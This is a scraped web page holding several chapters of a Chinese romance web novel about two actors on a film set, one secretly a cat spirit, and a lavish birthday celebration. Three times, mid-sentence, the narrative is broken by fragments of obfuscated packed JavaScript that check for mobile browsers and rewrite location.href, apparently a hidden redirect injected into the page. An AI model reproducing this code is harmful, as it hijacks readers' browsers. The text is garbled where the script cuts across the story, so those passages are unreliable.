l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023671|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次日一大早,薄砚下楼坐车。他照旧穿着那件白色戏服,头发盘成一个不伦不类的发髻,一缕银发散在肩上,领口露出一小截白玉似的锁骨。 助理呆呆地叫了一声“砚哥”。 薄砚点点头,发间的簪子随着他的动作轻轻晃动,霎时漾开一片澄澈透亮的光芒。宝石雕成的流苏垂落肩头,晃悠悠的,像是把整个春天的绿意都点缀在了他的发间。 江泠的目光落在薄砚身上。漂亮的青年银发浅瞳,容貌绮丽,不像凡尘中的人类,倒像什么蛊惑人心的精怪。 “砚哥,你是神仙来的吧?”助理捂住心口,明明见过好多次了,但他似乎永远都免疫不了薄砚的美貌。 “不是神仙。”薄砚挨着江泠坐下,问道,“怎么样?” 江泠回过神:“嗯?” 薄砚又问了一遍:“我弄的头发怎么样?” 江泠注视着他:“很美。” “为了戴你送的簪子,我费了好大劲儿,熬夜学习怎么盘头发。”薄砚真心提议道,“下次别送簪子了。” 江泠笑了一下:“那你下次想要什么礼物?” 薄砚想了想,开口道:“我没什么想要的。” 助理弱弱地举起手:“我有想要的。砚哥,你能笑一下吗?” 话刚出口,他就觉得自己像个调戏美人的流氓,连忙解释道:“我没别的意思,就是从没见砚哥笑过,砚哥你可不可以笑一笑,净化一下我的眼球?” 江泠问道:“昨晚又看什么了?” 助理痛苦面具:“熬夜吃瓜,结果被当事人丑到了,我真想问一问那姑娘,到底看上他啥了。” 薄砚扬了下唇角:“这样笑吗?” 助理捂住心口:“太好看了,嘤。” 昨晚照着视频学习怎么盘头发,学到半夜两点,所以薄砚一上车就睡着了。他靠着江泠一路睡到片场,盘好的发髻散了个彻底。 江泠靠在车门边,抬手替他拢了拢散乱的发丝。 薄砚倚着他站着,迷迷糊糊地开口道:“簪子……别摔了……” 江泠取下簪子,将垂落的发丝一缕缕理顺,按照记忆中发型师的动作,把柔软的银发挽成髻。 弄好这一切后,他摸了摸薄砚的头:“好了。” 怀里的人没动静,江泠垂眸望去,这才发现薄砚抱着他的腰,站在微风里再次睡着了。 25. 第25章 江泠调整了一下姿势,让薄砚靠得更稳,随后他抬起手,轻轻环住怀里人的背。 阳光穿透云层,爬上他的肩膀,将他身上的白衬衫染成柔和的浅金色,又顺着他交叠的手臂,漫过薄砚安稳的睡颜。 江泠垂眸,望着怀里的人。青年的侧脸埋在他的颈窝处,长长的睫毛被阳光镀了一层细碎的金光,随着呼吸轻轻颤动,像只翩翩欲飞的金色蝴蝶。 一阵风掠过,带着清晨的冷意,吹在两人身上,薄砚不由自主地往江泠怀里缩了缩。江泠侧过身,替他挡住迎面吹来的晨风。 二人站在车旁,渐渐成了剧组的一道风景,路过的工作人员都忍不住看两眼。 薄砚睡饱了,慢慢清醒过来。他抬手想摸头上的簪子,指尖触到的却是一个工整的发髻,他迷迷糊糊地开口道:“怎么回事?” “醒了?” 江泠的声音在耳旁响起,薄砚睁开眼,这才发现自己抱着江泠又睡了一觉。 他摸了摸头上的发髻:“你重新帮我弄头发了?” 江泠点点头:“嗯。” 薄砚站直身子:“盘得这么好,你学过?” 江泠:“没有,不过是照着记忆中发型师的手法,随手绾的。” “为什么我照着视频教程都学不会?”薄砚有点不开心,不过转念一想唐冰连他都不如,又很快释然了。 江泠:“你靠着我睡了整整四十分钟。” 薄砚:“下次让你靠回去。” 江泠勾了勾唇:“好。” 薄砚转过头,发现很多人都在朝这边看。他有些疑惑,便问道:“怎么了?” 江泠:“可能是看你靠着我睡着了,觉得奇怪吧。” 薄砚不解道:“这有什么好奇怪的?” 江泠莞尔:“是啊。” 二人走远后,几个平日里相熟的小演员,终于把憋了足足四十分钟的话匣子打开了。 “大清早的就给我演偶像剧,离了绿荫剧组,还有谁这么宠我?” “这还不是普通的偶像剧,这是偶像剧中的顶配,剧情顶配,演技顶配,颜值更是顶配。” “但是他们好自然,真的没有在谈吗?” “嗑晕了,救命,我以前真不知道,原来嗑cp是这么快乐的一件事。” “来啊,加超话一起嗑。” 一个小演员点开微博,正准备搜索春江花月言超话,突然看到热搜又爆了,连忙开口道:“你们快看,路棋又上热搜了。” “又上热搜了?我去,幸亏李导有先见之明,在他第一次塌的时候就把他给换掉了,不然他肯定要影响咱们电影。” “幸亏他塌了,湖妖落亭才换了白言来演。”一个小演员说着,突然想起什么,“我看通告单,今天好像是湖妖落亭的最后一场戏?” 今天拍湖妖落亭的最后一场戏,拍完这场戏薄砚就杀青了。明明是最后一场戏,拍摄的内容却是他第一次化成人形和树妖相见的样子。 薄砚看着剧本:“我们已经这么熟了,却要演初次相见的戏份。” “很难演吗?”助理提议道,“砚哥,要不然让我哥帮你分析一下?他演戏的经验比你多。” 江泠:“他不需要。” 薄砚:“不用。” 两人异口同声地落了话音,薄砚看了江泠一眼,开口道:“这场戏虽然是湖妖化成人形,和树妖的初次相见,但其实这片湖和这棵树一直都在这里,他们已经互相陪伴了很多年。” 江泠笑着道:“一起听了几百年的风声和浪声,早就熟得不能再熟了。” 薄砚:“树妖总在湖边晃悠,叶子掉在水里都快堆成岛了。” 江泠:“风吹过来的时候,树的影子便在水面上摇晃,随着涟漪缓缓散开。” 薄砚将剧本翻到最后一页:“所以湖妖离开的时候,树妖一定很伤心吧?” “但是湖妖不得不离开,树妖也不得不接受他的离开。”江泠轻声道,“这世界上,没有什么是永恒的,没有谁会一直陪着谁。” 脆弱的人类又开始难过了,薄砚只好安慰道:“剧本上没有写到底是几百年,我们假设湖妖和树妖互相陪伴了五百年。” “五百年里,能被4整除的年份有125个,再减去能被100整除但不能被400整除的4个年份,一共有121个闰年,379个平年,121×366……” 薄砚算不下去了,默默拿出手机,点开计算器。 江泠被萌晕了,忍不住伸手捏了捏他的脸。 薄砚拍开他的手:“干嘛?逗猫啊?” 江泠又去摸他的头:“你比猫可爱多了。” 薄砚:…… 他拿起计算机按了几下,开口道:“500年一共182621天,湖妖陪着树妖一起看了1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023672|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 82621次日升日落,这真的是很漫长的一段时光了。” 江泠忍着笑,故作惆怅地点点头。 薄砚无语道:“我觉得你并不需要我的安慰。” 江泠连忙哄道:“需要的,正是因为你安慰我,我才不难过了。” 薄砚:“哼。” 不久之后,湖妖的最后一场戏开拍。薄砚按照之前分析好的情绪,演完湖妖的最后一个镜头。 “过!” 李导走过来:“就是这种感觉,完美!” 薄砚:“谢谢李导,这段时间辛苦您了,跟着您拍戏,我学到了很多。” 李导拍了拍他的肩膀:“你在演戏方面很有天赋,真的不考虑当演员吗?” 薄砚摇头。 李导:“好吧,那祝你杀青快乐。中午有杀青宴,我让他们订了一个超级大的蛋糕!超级大!” 李导特意强调了两遍,薄砚好奇了一上午蛋糕到底有多大,中午蛋糕运过来的时候,他整个人都惊呆了。 蛋糕长两米,宽一米,上边裱着精美的奶油花朵,还画着湖妖落亭的各种卡通形象。 唐冰对薄砚道:“这么大的蛋糕,几十个你都吃不完吧?” 薄砚想象了一下小猫咪淹没在奶油海里的场景,开口道:“我的体型好像真的不大。” 唐冰鼓掌:“恭喜你,终于认清自己了。” 薄砚正准备踹他一脚,见李导走过来,他又把脚收了回去。 李导把他们二人叫过去,和在场所有的演职人员一起拍了张杀青照。 助理问道:“砚哥,杀青之后你要干嘛,回家吗?” 薄砚摇头:“先不回,等江泠过完生日再说。” 助理又问道:“砚哥,你打算送我哥什么生日礼物?我参考一下,我到现在还没想好要送什么礼物,感觉我哥什么都不缺。” 薄砚:“不告诉你。” 助理眼巴巴地看着他,薄砚:“好吧,告诉你一个关键词——大。” 唐冰没忍住笑出声:“真是一只没有情调的小猫猫呢,那么盛大的礼物,只会用一个‘大’字来形容。” 薄砚被“小猫猫”三个字恶心得抖了抖。 助理苦思冥想半天,猜了好几个都没猜对,薄砚道:“等到生日那天你就知道了。” 时间过得飞快,转眼就到了下周二,江泠的27岁生日。 26. 第26章 中午的时候,一列车队开上山,停在片场入口,众人都震惊了。 “哇塞哇塞,搬了好多保温箱下来!” “这么豪华的保温箱,里面到底装着什么样的美食啊?” “那边还有礼盒,看数量是一人一个,这种蓝色还挺好看的,叫什么蓝来着?” “湖蓝色?宝蓝色?靛蓝色?” “江水蓝!江泠的应援色,曾经上过热搜的。” “所以到底是什么情况?” “我刚去问了副导演,说是金主爸爸祝江影帝生日快乐。” 将东西放好之后,车队又离开了。李导笑着道:“大家随便吃,礼物人人有份,让我们一起祝江泠生日快乐!” “江影帝生日快乐!” 众人欢呼着打开保温箱,取出一道道美食。 助理拿着礼盒走过来:“这也太夸张了吧,直接送金子,还是每人一份,金主爸爸也太壕无人性了。” 薄砚点点头。他是猫,“人性”这两个字确实和他沾不上边。 “泠哥的应援色就是好看,独一无二的江水蓝。”助理翻来覆去地欣赏礼盒,突然在角落里看到“薄氏”两个字。 他盯着这两个字沉思了半天,最终开口道:“砚哥,该不会这个‘薄’就是你的姓氏吧?” 薄砚:“嗯。” 助理差点给跪了,缓了缓,他又开口道:“所以说这部电影是你家投资的?” 薄砚:“应该是花了钱的,不过我不太清楚投资方面的事。” 助理捶胸顿足道:“薄姓本来就是稀有姓氏,我为什么没有早点猜到!” 薄砚:“早猜到和晚猜到有什么区别吗?” “是哦,好像没什么区别。”助理挠挠头,“但是砚哥,你送的生日礼物也太壕了,整个剧组都有份,排面直接拉满。” 薄砚:“晚上还有。” 太阳渐渐落山,夜色如墨般晕染开来。远处忽然传来一阵细微的嗡鸣声,零星几点微光从天际浮现,转瞬交织成铺天盖地的星河。 几千架无人机在空中变幻,先是化作江泠出道时饰演的魔宫宫主,锦衣墨发,像是淬了寒夜的霜;随后是桀骜不驯的赛车手,隐忍复仇的刺客…… 江泠仰起头,隔着八年的时光,与他饰演过的所有角色遥遥相望。 当最后一个角色的轮廓渐渐消散,漫天光点突然凝聚成七个水蓝色的字——祝江泠生日快乐。 字字璀璨,耀眼夺目地悬在夜空中。 薄砚转过头,对江泠道:“生日快乐。” 轻浅的尾音消散在空气中,天空中的字迹也开始分散、重组,最终变成了一粒沉睡在泥土中的种子。 第一缕阳光洒下,种子破土而出,抽枝长叶,在风雨的洗礼中,渐渐长成一棵参天大树,树冠缀满星辰,光影交织,盛大璀璨。 大树枝繁叶茂,生机勃勃,庇护了万千生灵。一阵风吹过,枝叶随风摆动,满树光点拖着璀璨的光尾,飘飘洒洒坠入人间。 仿佛下了一场名为“江泠”的流星雨。 江泠下午刚换了树妖老年期的妆造,顶着一头枯槁的白发。薄砚站在他身边,一袭银发,白衣如雪。 江泠望着薄砚的侧脸,他仿佛和身边的这个人一起变老了。 流星雨落幕,众人依旧没有回过神来。薄砚拿出手机,果不其然,#江泠生日应援#这个词条登上了热搜第一。 他让唐冰找人,在江泠拍过戏的所有城市表演无人机,在允许燃放烟花的地点燃放冷焰火。虽然花了不少钱,但哄一哄这个脆弱的人类朋友还是很有成就感的。 口袋里的手机突然震动,江泠拿出手机看了一眼。 【清:妈妈看到你的生日烟花了,很好看,生日快乐。】 江泠盯着这条信息看了几十秒,等到屏幕熄灭之后,他才把手机放回口袋。 助理张着嘴走过来:“震撼,太震撼了!” 薄砚:“山上不能放烟花,所以只有无人机,其他地方有无人机加冷焰火。” 助理捂着心口:“我看到网上的视频了,太震撼了!” 薄砚拿出手机看了一眼,对江泠道:“戚夏让我转告你,他祝你生日快乐,过几天他会来剧组探班,顺带把生日礼物补上。” 江泠笑着道:“替我谢谢戚夏。不过他不是有我的微信吗?” 薄砚:“那哑巴害羞,不好意思直接和你说。对了,我们家煤球也祝你生日快乐。” “谢谢煤球。”江泠叹口气,“如果可以摸一摸煤球就好了。” 薄砚撇了撇嘴:“你很喜欢煤球吗?” 江泠:“当然了,因为煤球是你养的猫。” 薄砚打了个呵欠:“又饿又困,我先去吃点东西,一会儿和唐冰回旅馆。” 江泠注视着他:“明天见。” 薄砚:“嗯。” 刚踏进休息室,他就变回原形,在屋子里上蹿下跳地疯跑,还不小心撞到了腿,疼得原地打了个滚。 唐冰无语道:“慢点儿,撞到腿不疼啊?” 小猫一瘸一拐地走到他面前:“那颗煤球输了!” “要不然你先变成人形,揉一揉腿呢?”唐冰边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023673|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边觉得自己命苦,年纪轻轻就给猫当妈了。 小猫变成人形,把刚才发生的事情说了一遍,又挑了一对小橘子发夹递给唐冰:“等会儿你把这个别在我耳朵上,这个寓意好,我要戴着去给江泠庆祝生日。” 唐冰问道:“腿怎么样?” 薄砚:“没事,反正我这段时间肯定要倒霉的。” 戴好发夹后,他变成猫,顺着帆布与支撑杆衔接的缝隙钻了出去。 助理一眼就看到了他:“哥,你的猫粉丝来了!今天真是太圆满了,砚哥和江水们在全国各地为你应援,猫粉丝也祝你生日快乐。” 江泠盯着小猫:“他走路怎么一瘸一拐的?” “有吗?”助理仔细看了看,“好像是有点瘸,我都没发现。是不是和别的猫打架了啊?该……该不会是被虐待了吧?” 说完这句话之后,他又摇摇头:“应该是不小心受伤了,看小猫的状态,能感觉到主人把他养得挺好的。” 小猫动作不太利索地跳上椅子。下了山一点都不方便,治愈术都用不了。 他不开心地趴在椅子上,头上突然传来一股冰凉的触感。 那个人类竟然摸他了! 江泠还想捏一捏小猫的耳朵,却被小猫一爪子拍开,他无奈道:“不让摸?那为什么总是仰着头冲我喵喵叫?” 小猫无语地抖了抖耳朵,他只是想赢过那颗煤球罢了。陪江泠坐了十几分钟后,他跳下椅子,换了个方向溜回休息室。 助理去取蛋糕,江泠拿出手机,点开聊天窗口,上一条消息还是除夕发的。 盯着聊天记录发了一会儿呆,他回复道:【要是你没看到网上的消息,是不是就忘记我的生日了?】 助理拿着蛋糕走过来:“泠哥,你吃蛋糕吗?” “吃。”江泠笑着道,“不知道明天会发生什么事,还是多吃点吧。” 助理:“明天?” 江泠望着远方:“零点过后就是明天了。” - 零点过后,江泠在一片头晕目眩中醒来。到处都是朦胧的水雾,他看不清,隐隐约约感觉到自己好像在一间浴室里。 感官慢慢恢复,他能清晰地感觉到热水淌过皮肤的温度,嗅到空气中洗发水的清香,甚至能感知到这具身体的呼吸,每一次吐息都带着温热的水汽。 他似乎……附在了某个人的身体里? 暖白的灯光穿透水雾,在视野里晕开一片柔焦。一截白皙的手臂自水雾中抬起,指尖划过颈侧,留下一道浅浅的水痕,顺着身体的线条往下,隐入雾气缭绕的粼粼水光里。